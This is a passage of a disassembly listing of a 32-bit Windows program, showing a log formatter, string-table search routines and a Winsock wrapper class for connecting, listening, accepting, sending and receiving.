ptr 10h mov eax, [esp+arg_C] mov ecx, [esp+arg_4] mov edx, [esp+arg_8] cmp eax, 1 setnl al mov byte ptr [esp+arg_C], al push ecx mov eax, [esp+4+arg_C] push edx push eax push 0 mov ecx, offset byte_4D8075 call sub_401118 retn sub_419A70 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419AB0: ; CODE XREF: ___:0040150Fj sub esp, 0Ch mov eax, [esp+20h] push ebx push ebp push esi xor esi, esi push edi cmp eax, esi mov dword ptr [esp+18h], 80h mov [esp+10h], esi jz short loc_419AE3 push eax call near ptr 77C1BF18h nop add esp, 4 cmp eax, esi mov [esp+10h], eax jz short loc_419AE3 mov [esp+18h], eax loc_419AE3: ; CODE XREF: ___:00419ACBj ; ___:00419ADDj mov edi, [esp+28h] mov ebx, [esp+24h] mov ebp, [esp+20h] mov [esp+14h], esi mov esi, offset dword_508E2C loc_419AF8: ; CODE XREF: ___:00419B49j mov ecx, [esp+14h] mov eax, [esp+18h] cmp ecx, eax jge short loc_419B4B cmp byte ptr [esi], 0 jz short loc_419B34 mov eax, [esp+30h] test eax, eax jz short loc_419B28 mov ecx, [esp+10h] test ecx, ecx jnz short loc_419B28 push eax push esi nop call near ptr 77C47C60h add esp, 8 test eax, eax jz short loc_419B34 loc_419B28: ; CODE XREF: ___:00419B0Fj ; ___:00419B17j push edi push esi push ebx push ebp call sub_40152D add esp, 10h loc_419B34: ; CODE XREF: ___:00419B07j ; ___:00419B26j mov edx, [esp+14h] add esi, 80h inc edx cmp esi, offset dword_50CE2C mov [esp+14h], edx jl short loc_419AF8 loc_419B4B: ; CODE XREF: ___:00419B02j pop edi pop esi pop ebp pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419B90: ; CODE XREF: ___:00402289j push ebx mov ebx, dword_511B04 push esi push edi mov edi, [esp+10h] mov esi, offset dword_508E2C loc_419BA2: ; CODE XREF: ___:00419BBEj cmp byte ptr [esi], 0 jz short loc_419BB2 push edi push esi call ebx ; strstr add esp, 8 test eax, eax jnz short loc_419BC6 loc_419BB2: ; CODE XREF: ___:00419BA5j add esi, 80h cmp esi, offset dword_50CE2C jl short loc_419BA2 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_419BC6: ; CODE XREF: ___:00419BB0j pop edi pop esi mov eax, 1 pop ebx retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419BE0 proc near ; CODE XREF: sub_4010D2j var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h lea eax, [esp+10h+var_10] push esi push edi push eax nop call near ptr 27C0000h mov edi, dword_511B08 mov esi, offset dword_50CE2C loc_419BFB: ; CODE XREF: sub_419BE0+3Bj cmp byte ptr [esi], 0 jz short loc_419C0F push 7Fh lea ecx, [esi+80h] push esi push ecx call edi ; strncpy add esp, 0Ch loc_419C0F: ; CODE XREF: sub_419BE0+1Ej sub esi, 80h cmp esi, offset dword_508E2C jge short loc_419BFB mov edx, [esp+18h+arg_0] mov eax, [esp+18h+var_4] mov ecx, [esp+12h] push edx mov edx, [esp+1Ch+var_8] and eax, 0FFFFh and ecx, 0FFFFh push eax mov eax, [esp+20h+var_10] and edx, 0FFFFh push ecx mov ecx, [esp+1Ah] push edx mov edx, [esp+28h+var_10+2] and eax, 0FFFFh and ecx, 0FFFFh push eax and edx, 0FFFFh push ecx push edx push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push 80h push offset dword_508E2C call near ptr 77C3FA76h nop add esp, 28h pop edi pop esi add esp, 10h retn sub_419BE0 endp ; --------------------------------------------------------------------------- db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419CB0: ; CODE XREF: ___:004012DAj sub esp, 600h mov ecx, 80h xor eax, eax push ebx push ebp push esi push edi lea edi, [esp+10h] mov esi, [esp+614h] rep stosd mov ecx, 80h lea edi, [esp+210h] mov ebp, dword_511B08 push 1FFh rep stosd mov ecx, 80h lea edi, [esp+414h] rep stosd lea eax, [esp+14h] push esi push eax call ebp ; strncpy mov edx, [esp+628h] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax add esp, 0Ch repne scasb not ecx dec ecx cmp ecx, 180h jbe short loc_419D21 mov [edx+180h], al loc_419D21: ; CODE XREF: ___:00419D19j mov ebx, [esp+618h] lea ecx, [esp+10h] push ebx push ecx call near ptr 77C47C60h nop add esp, 8 test eax, eax jz loc_419E32 loc_419D3F: ; CODE XREF: ___:00419E25j lea edx, [esp+10h] push ebx push edx call near ptr 77C47C60h nop mov esi, eax mov edi, ebx or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push 1FFh add ecx, esi lea eax, [esp+41Ch] push ecx push eax call ebp ; strncpy lea ecx, [esp+24h] push 1FFh lea edx, [esp+228h] push ecx push edx mov byte ptr [esi], 0 call ebp ; strncpy lea edx, [esi+1] add esp, 20h test edx, edx jz short loc_419E00 lea eax, [ebx-1] test eax, eax jz short loc_419E00 lea edi, [ebx-1] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, edx mov esi, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp ecx, esi jbe short loc_419DDD mov edx, [esp+61Ch] lea ecx, [esp+410h] push ecx lea eax, [esp+214h] push edx push eax lea ecx, [esp+1Ch] push offset aSSS ; "%s%s%s" push ecx nop call sub_5F76F7 add esp, 14h jmp short loc_419E00 ; --------------------------------------------------------------------------- loc_419DDD: ; CODE XREF: ___:00419DAEj mov edx, [esp+61Ch] lea eax, [esp+210h] push edx push eax lea ecx, [esp+18h] push offset aSS_3 ; "%s%s" push ecx nop call sub_5F76F7 add esp, 10h loc_419E00: ; CODE XREF: ___:00419D8Aj ; ___:00419D91j ... mov edx, [esp+61Ch] mov esi, dword_511B04 push edx push ebx call esi ; strstr add esp, 8 test eax, eax jnz short loc_419E2B lea eax, [esp+10h] push ebx push eax call esi ; strstr add esp, 8 test eax, eax jnz loc_419D3F loc_419E2B: ; CODE XREF: ___:00419E16j mov esi, [esp+614h] loc_419E32: ; CODE XREF: ___:00419D39j lea edi, [esp+10h] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx lea ecx, [esp+14h] push ecx push esi call ebp ; strncpy add esp, 0Ch mov eax, esi pop edi pop esi pop ebp pop ebx add esp, 600h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_419ED0: ; CODE XREF: ___:004018DEj sub esp, 10h push esi push 0 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_419EEE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419EEE: ; CODE XREF: ___:00419EE5j mov ecx, [esp+18h] xor eax, eax mov [esp+4], eax push ecx mov [esp+0Ch], eax mov word ptr [esp+8], 2 mov [esp+10h], eax mov [esp+14h], eax nop call near ptr 71AB2B66h lea edx, [esp+4] push 10h push edx push esi mov [esp+12h], ax mov dword ptr [esp+14h], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_419F39 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419F39: ; CODE XREF: ___:00419F2Fj push 7FFFFFFFh push esi nop call near ptr 71AB88D3h test eax, eax jz short loc_419F51 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419F51: ; CODE XREF: ___:00419F47j mov eax, esi pop esi add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419F90: ; CODE XREF: ___:00401E83j push edi xor edi, edi mov eax, offset byte_4E02A5 loc_419F98: ; CODE XREF: ___:00419FA8j cmp dword ptr [eax], 0 jz short loc_419FAA add eax, 316h inc edi cmp eax, offset byte_4E7E15 jle short loc_419F98 loc_419FAA: ; CODE XREF: ___:00419F9Bj cmp edi, 13h jle short loc_419FB4 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419FB4: ; CODE XREF: ___:00419FADj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_511C00 push esi lea eax, [eax+eax*4] lea esi, ds:4E01ABh[eax*2] mov eax, [esp+10h] push eax push esi call ebx ; sub_5F76F7 mov ecx, [esp+24h] mov edx, [esp+1Ch] mov eax, [esp+20h] mov [esi+0FAh], ecx mov ecx, [esp+28h] mov [esi+0FEh], edi mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5F76F7 add esp, 10h mov eax, edi pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A050 proc near ; CODE XREF: sub_4013F2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push edi xor edi, edi mov eax, offset dword_4D8735 loc_41A058: ; CODE XREF: sub_41A050+18j cmp dword ptr [eax], 0 jz short loc_41A06A add eax, 316h inc edi cmp eax, offset byte_4E02A5 jle short loc_41A058 loc_41A06A: ; CODE XREF: sub_41A050+Bj cmp edi, 13h jle short loc_41A074 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_41A074: ; CODE XREF: sub_41A050+1Dj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_511C00 push esi lea eax, [eax+eax*4] lea esi, ds:4D863Bh[eax*2] mov eax, [esp+0Ch+arg_0] push eax push esi call ebx ; sub_5F76F7 mov ecx, [esp+14h+arg_C] mov edx, [esp+14h+arg_4] mov eax, [esp+14h+arg_8] mov [esi+0FAh], ecx mov ecx, [esp+14h+arg_10] mov [esi+0FEh], edi mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5F76F7 add esp, 10h mov eax, edi pop esi pop ebx pop edi retn sub_41A050 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A110 proc near ; CODE XREF: sub_401C49j var_190 = byte ptr -190h arg_0 = byte ptr 4 sub esp, 190h push ebp mov ebp, ecx push esi push edi mov dword ptr [ebp+0], offset off_43F0BC mov eax, dword_50DAF8 test eax, eax jnz short loc_41A148 mov eax, dword_50DAF8 inc eax mov dword_50DAF8, eax lea ecx, [esp+19Ch+var_190] push ecx push 202h nop call near ptr 71AB664Dh jmp short loc_41A155 ; --------------------------------------------------------------------------- loc_41A148: ; CODE XREF: sub_41A110+19j mov edx, dword_50DAF8 inc edx mov dword_50DAF8, edx loc_41A155: ; CODE XREF: sub_41A110+36j mov al, [esp+19Ch+arg_0] or ecx, 0FFFFFFFFh mov [ebp+80Ah], al mov edi, offset byte_448F30 xor eax, eax mov [ebp+806h], ecx mov byte ptr [ebp+80Ch], 0 mov word ptr [ebp+4], 0 repne scasb not ecx sub edi, ecx lea edx, [ebp+6] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebp and ecx, 3 rep movsb pop edi mov byte ptr [ebp+80Bh], 0 pop esi pop ebp add esp, 190h retn 4 sub_41A110 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A1E0 proc near ; CODE XREF: ___:004018E3j sub_401B09j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401FE6 test [esp+4+arg_0], 1 jz short loc_41A1F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41A1F8: ; CODE XREF: sub_41A1E0+Dj mov eax, esi pop esi retn 4 sub_41A1E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A210 proc near ; CODE XREF: sub_401FE6j mov al, [ecx+80Ah] mov dword ptr [ecx], offset off_43F0BC test al, al jnz short loc_41A225 call sub_4014E7 loc_41A225: ; CODE XREF: sub_41A210+Ej mov eax, 1 mov ecx, dword_50DAF8 cmp ecx, eax jle short loc_41A240 mov eax, dword_50DAF8 dec eax mov dword_50DAF8, eax locret_41A23F: ; CODE XREF: sub_41A210:loc_41A240j retn ; --------------------------------------------------------------------------- loc_41A240: ; CODE XREF: sub_41A210+22j jnz short locret_41A23F mov ecx, dword_50DAF8 dec ecx mov dword_50DAF8, ecx nop jmp near ptr 71AB4428h sub_41A210 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41A280: ; CODE XREF: ___:004015AAj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43BFCB push eax mov large fs:0, esp sub esp, 814h push esi mov esi, ecx call sub_40196A test al, al jz loc_41A331 mov al, [esi+80Bh] test al, al jz short loc_41A2B9 mov al, 1 jmp short loc_41A331 ; --------------------------------------------------------------------------- loc_41A2B9: ; CODE XREF: ___:0041A2B3j push ebx push edi mov edi, [esp+830h] push 800h lea eax, [esi+6] push edi push eax nop call near ptr 77C47A90h mov ebx, [esp+840h] add esp, 0Ch lea ecx, [esp+0Ch] mov [esi+4], bx call sub_401186 mov ecx, [esp+83Ch] mov edx, [esp+838h] push ecx push edx push ebx push edi lea ecx, [esp+1Ch] mov dword ptr [esp+838h], 0 call sub_401640 push eax mov ecx, esi call sub_4020E5 lea ecx, [esp+0Ch] mov bl, al mov dword ptr [esp+828h], 0FFFFFFFFh call sub_40187A mov al, bl pop edi pop ebx loc_41A331: ; CODE XREF: ___:0041A2A5j ; ___:0041A2B7j mov ecx, [esp+818h] pop esi mov large fs:0, ecx add esp, 820h retn 10h ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A390 proc near ; CODE XREF: sub_40196Aj mov al, byte_444DA4 retn sub_41A390 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A3B0 proc near ; CODE XREF: sub_4020E5j var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h sub esp, 11Ch push ebp push esi push edi mov esi, ecx call sub_40196A test al, al jnz short loc_41A3D0 pop edi pop esi pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A3D0: ; CODE XREF: sub_41A3B0+12j mov al, [esi+80Bh] test al, al jnz loc_41A571 push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A40A mov ecx, esi call sub_4014E7 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A40A: ; CODE XREF: sub_41A3B0+43j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A419 push 1 jmp short loc_41A41B ; --------------------------------------------------------------------------- loc_41A419: ; CODE XREF: sub_41A3B0+63j push 0 loc_41A41B: ; CODE XREF: sub_41A3B0+67j mov ecx, esi call sub_4018CA mov edi, [esp+128h+arg_4] xor eax, eax mov [esp+128h+var_114], eax push edi mov [esp+12Ch+var_110], eax mov [esi+4], di mov [esp+12Ch+var_10C], eax mov word ptr [esp+12Ch+var_114], 2 mov [esp+12Ch+var_108], eax call near ptr 71AB2B66h nop mov ecx, [esp+128h+arg_0] mov word ptr [esp+128h+var_114+2], ax mov eax, [esi+806h] lea edx, [esp+128h+var_114] push 10h push edx push eax mov [esp+134h+var_110], ecx mov [esi+4], di call near ptr 71AB406Ah nop mov ebp, dword_511C50 test eax, eax jge short loc_41A4BC call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A4AD call ebp ; WSAGetLastError cmp eax, 0Bh jz short loc_41A4AD call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A4AD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A4AD: ; CODE XREF: sub_41A3B0+D6j ; sub_41A3B0+DDj ... mov al, byte ptr [esp+128h+arg_8] test al, al jnz loc_41A56A loc_41A4BC: ; CODE XREF: sub_41A3B0+CDj mov eax, [esi+806h] xor ecx, ecx lea edx, [esp+128h+var_11C] mov edi, dword_511C94 mov [esp+128h+var_11C], ecx push edx mov [esp+12Ch+var_118], ecx push ecx lea ecx, [esp+130h+var_104] mov [esp+130h+var_100], eax push ecx inc eax push 0 push eax mov [esp+13Ch+var_11C], 0Ah mov [esp+13Ch+var_104], 1 call edi ; select test eax, eax jge short loc_41A530 loc_41A4FB: ; CODE XREF: sub_41A3B0+17Ej call ebp ; WSAGetLastError call ebp ; WSAGetLastError cmp eax, 4 jnz short loc_41A545 mov eax, [esp+128h+var_11C] test eax, eax jnz short loc_41A514 mov eax, [esp+128h+var_118] test eax, eax jz short loc_41A545 loc_41A514: ; CODE XREF: sub_41A3B0+15Aj mov ecx, [esi+806h] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax inc ecx push 0 push ecx call edi ; select test eax, eax jl short loc_41A4FB loc_41A530: ; CODE XREF: sub_41A3B0+149j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A561 mov edx, [esp+128h+arg_8] push edx jmp short loc_41A563 ; --------------------------------------------------------------------------- loc_41A545: ; CODE XREF: sub_41A3B0+152j ; sub_41A3B0+162j mov ecx, esi call sub_4014E7 mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A561: ; CODE XREF: sub_41A3B0+189j push 0 loc_41A563: ; CODE XREF: sub_41A3B0+193j mov ecx, esi call sub_4018CA loc_41A56A: ; CODE XREF: sub_41A3B0+106j mov byte ptr [esi+80Bh], 1 loc_41A571: ; CODE XREF: sub_41A3B0+28j pop edi pop esi mov al, 1 pop ebp add esp, 11Ch retn 10h sub_41A3B0 endp ; --------------------------------------------------------------------------- db 90h db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A600 proc near ; CODE XREF: sub_4014E7j push esi mov esi, ecx mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jz short loc_41A61A cmp eax, 0FFFFFFFFh jz short loc_41A61A push eax nop call near ptr 71AB9639h loc_41A61A: ; CODE XREF: sub_41A600+Cj ; sub_41A600+11j mov ecx, esi call sub_401375 mov byte ptr [esi+80Bh], 0 pop esi retn sub_41A600 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A640 proc near ; CODE XREF: sub_401375j push ebp mov edx, ecx push esi push edi or ecx, 0FFFFFFFFh mov edi, offset byte_448F30 xor eax, eax mov [edx+806h], ecx mov word ptr [edx+4], 0 lea ebp, [edx+6] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi mov byte ptr [edx+80Bh], 0 mov byte ptr [edx+80Ch], 0 pop ebp retn sub_41A640 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A6B0 proc near ; CODE XREF: sub_401492j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41A6C6 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A6C6: ; CODE XREF: sub_41A6B0+Dj mov al, [esi+80Bh] test al, al jnz loc_41A77F push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A6FB mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A6FB: ; CODE XREF: sub_41A6B0+39j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h mov word ptr [esp+14h+var_10+2], ax mov eax, [esi+806h] lea edx, [esp+14h+var_10] push 10h push edx push eax mov [esp+20h+var_C], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_41A754 mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A754: ; CODE XREF: sub_41A6B0+92j mov ecx, [esi+806h] push 32h push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41A778 mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A778: ; CODE XREF: sub_41A6B0+B6j mov byte ptr [esi+80Bh], 1 loc_41A77F: ; CODE XREF: sub_41A6B0+1Ej mov al, 1 pop esi add esp, 10h retn 4 sub_41A6B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A7D0 proc near ; CODE XREF: sub_401B95j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 120h push esi push edi mov esi, ecx call sub_40196A test al, al jnz short loc_41A7EE pop edi pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A7EE: ; CODE XREF: sub_41A7D0+11j mov al, [esi+80Bh] test al, al jnz short loc_41A805 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A805: ; CODE XREF: sub_41A7D0+26j mov al, [esi+80Ch] test al, al jnz short loc_41A881 call sub_40196A test al, al jz short loc_41A874 mov edi, dword_511C94 loc_41A81E: ; CODE XREF: sub_41A7D0+A2j mov eax, [esi+806h] lea ecx, [esp+128h+var_11C] push ecx mov [esp+12Ch+var_100], eax push 0 lea edx, [esp+130h+var_104] push 0 inc eax push edx push eax mov [esp+13Ch+var_104], 1 mov [esp+13Ch+var_11C], 0 mov [esp+13Ch+var_118], 64h call edi ; select test eax, eax jz short loc_41A86B mov ecx, [esi+806h] lea eax, [esp+128h+var_104] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A881 loc_41A86B: ; CODE XREF: sub_41A7D0+84j call sub_40196A test al, al jnz short loc_41A81E loc_41A874: ; CODE XREF: sub_41A7D0+46j pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A881: ; CODE XREF: sub_41A7D0+3Dj ; sub_41A7D0+99j mov eax, [esp+128h+arg_4] mov [esp+128h+var_120], 0FFFFFFFFh test eax, eax jz short loc_41A8A4 lea edx, [esp+128h+var_11C] mov [esp+128h+var_11C], 10h push edx push eax jmp short loc_41A8B6 ; --------------------------------------------------------------------------- loc_41A8A4: ; CODE XREF: sub_41A7D0+C2j lea ecx, [esp+128h+var_11C] lea edx, [esp+128h+var_114] push ecx mov [esp+12Ch+var_11C], 10h push edx loc_41A8B6: ; CODE XREF: sub_41A7D0+D2j mov eax, [esi+806h] push eax nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh mov [esp+128h+var_120], eax jnz short loc_41A8D9 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A8D9: ; CODE XREF: sub_41A7D0+FAj mov esi, [esp+128h+arg_0] lea ecx, [esp+128h+var_120] push ecx mov ecx, esi call sub_402108 mov dl, [esp+128h+arg_8] pop edi mov [esi+80Dh], dl mov al, 1 pop esi add esp, 120h retn 0Ch sub_41A7D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A960 proc near ; CODE XREF: sub_402108j arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax] mov [ecx+806h], edx mov edx, [eax] cmp edx, 0FFFFFFFFh setnz al mov [ecx+80Bh], al retn 4 sub_41A960 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A990 proc near ; CODE XREF: sub_40196Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 0 push edx push eax call sub_401B4F retn 0Ch sub_41A990 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A9C0 proc near ; CODE XREF: sub_401B4Fj var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 210h push ebx push ebp push esi mov esi, ecx push edi cmp dword ptr [esi+806h], 0FFFFFFFFh jz loc_41AB24 mov al, [esi+80Bh] test al, al jz loc_41AB24 mov edi, dword_5118AC call edi mov ebp, eax mov al, [esi+80Dh] test al, al jnz loc_41AABC mov ebx, [esp+220h+arg_8] test ebx, ebx jz loc_41AABC call sub_40196A test al, al jz loc_41AABC loc_41AA1B: ; CODE XREF: sub_41A9C0+F6j mov eax, [esi+806h] mov ecx, 1 mov [esp+220h+var_100], eax mov [esp+220h+var_104], ecx mov [esp+220h+var_204], eax mov [esp+220h+var_208], ecx mov [esp+220h+var_210], 0 mov [esp+220h+var_20C], 64h call edi sub eax, ebp cmp eax, ebx ja loc_41AB24 lea eax, [esp+220h+var_210] lea ecx, [esp+220h+var_208] push eax mov eax, [esi+806h] push ecx lea edx, [esp+228h+var_104] push 0 inc eax push edx push eax call near ptr 71AB2DC0h nop test eax, eax jz short loc_41AAAF mov edx, [esi+806h] lea ecx, [esp+220h+var_208] push ecx push edx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz loc_41AB24 mov ecx, [esi+806h] lea eax, [esp+220h+var_104] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41AABC loc_41AAAF: ; CODE XREF: sub_41A9C0+BCj call sub_40196A test al, al jnz loc_41AA1B loc_41AABC: ; CODE XREF: sub_41A9C0+39j ; sub_41A9C0+48j ... call sub_40196A test al, al jz short loc_41AB24 mov edx, [esp+220h+arg_4] mov eax, [esp+220h+arg_0] mov ecx, [esi+806h] push 0 push edx push eax push ecx nop call near ptr 71AB615Ah mov ecx, [esp+220h+arg_C] test ecx, ecx jz short loc_41AAF1 mov [ecx], eax loc_41AAF1: ; CODE XREF: sub_41A9C0+12Dj cmp eax, 0FFFFFFFFh jz short loc_41AB09 test eax, eax jz short loc_41AB09 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AB09: ; CODE XREF: sub_41A9C0+134j ; sub_41A9C0+138j nop call near ptr 71AB94DCh pop edi cmp eax, 2733h pop esi pop ebp setz al pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AB24: ; CODE XREF: sub_41A9C0+13j ; sub_41A9C0+21j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 210h retn 10h sub_41A9C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ABA0: ; CODE XREF: ___:00401622j mov eax, [ecx+806h] cmp eax, 0FFFFFFFFh jz short loc_41ABF1 mov dl, [ecx+80Bh] test dl, dl jz short loc_41ABF1 mov ecx, [esp+8] mov edx, [esp+4] push 0 push ecx push edx push eax nop call near ptr 71AB428Ah mov ecx, [esp+0Ch] test ecx, ecx jz short loc_41ABD2 mov [ecx], eax loc_41ABD2: ; CODE XREF: ___:0041ABCEj cmp eax, 0FFFFFFFFh jz short loc_41ABE0 test eax, eax jz short loc_41ABE0 mov al, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_41ABE0: ; CODE XREF: ___:0041ABD5j ; ___:0041ABD9j call near ptr 71AB94DCh nop cmp eax, 2733h setz al retn 0Ch ; --------------------------------------------------------------------------- loc_41ABF1: ; CODE XREF: ___:0041ABA9j ; ___:0041ABB3j xor al, al retn 0Ch ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AC20: ; CODE XREF: ___:004019BFj push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40196A test al, al jnz short loc_41AC3C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC3C: ; CODE XREF: ___:0041AC32j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AC52 loc_41AC48: ; CODE XREF: ___:0041AC8Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- 